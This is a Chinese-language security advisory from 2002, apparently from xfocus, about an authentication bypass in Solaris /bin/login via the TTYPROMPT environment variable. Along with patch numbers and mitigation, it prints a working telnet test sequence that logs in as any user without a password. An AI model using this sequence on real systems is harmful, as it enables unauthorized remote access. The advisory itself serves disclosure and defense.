xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Sun Solaris /bin/login验证可绕过漏洞


发布时间:2002-10-08
更新时间:2002-10-08
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:5848

受影响系统
Sun Solaris 2.6 _x86
Sun Solaris 2.6
Sun Solaris 7.0 _x86
Sun Solaris 7.0
Sun Solaris 8.0 _x86
Sun Solaris 8.0
详细描述
Solaris 2.6, 7, 和8中的/bin/login在处理环境变量TTYPROMPT时存在漏洞。

问题应该是存在与login的实现中,使用了固定大小的缓冲区存储环境变量,和环境变量可以从其他程序上接收。攻击者发现一个简单的方法利用这个漏洞,只要早telnet中简单定义环境变量TTYPROMPT为6个字符串,连接对方主机后,使用64个"c"和"\n"字符,可以任意用户不需要密码登录到系统中。

测试代码
coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

解决方案
在/etc/inetd.conf中关闭telnetd服务。

补丁下载,不过这个补丁是在针对telnetd而不是针对/bin/login,所以使用这个补丁后还存在本地可利用漏洞:

Solaris 8: 110668-03
Solaris 8x86: 110669-03

Solaris 7: 107475-04
Solaris 7x86: 107476-04

Solaris 2.6: 106049-04
Solaris 2.6x86: 106050-04

Solaris 2.5.1: 103640-40
Solaris 2.5.1x86: 103641-40

根据报告,下面的补丁可以修正这个漏洞:

SPARC

Solaris 2.5.1 106160-02
Solaris 2.5.1x86 106161-02

Solaris 2.6 105665-04
Solaris 2.6x86 105666-04

Solaris 7 112300-01
Solaris 7x86 112301-01

Solaris 8 111085-02
Solaris 8x86 111086-02

相关信息
Jonathan Stuart <jons@ccpartnersltd.com>.
参考:http://online.securityfocus.com/archive/1/293844
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F41987&zone_32=111085-02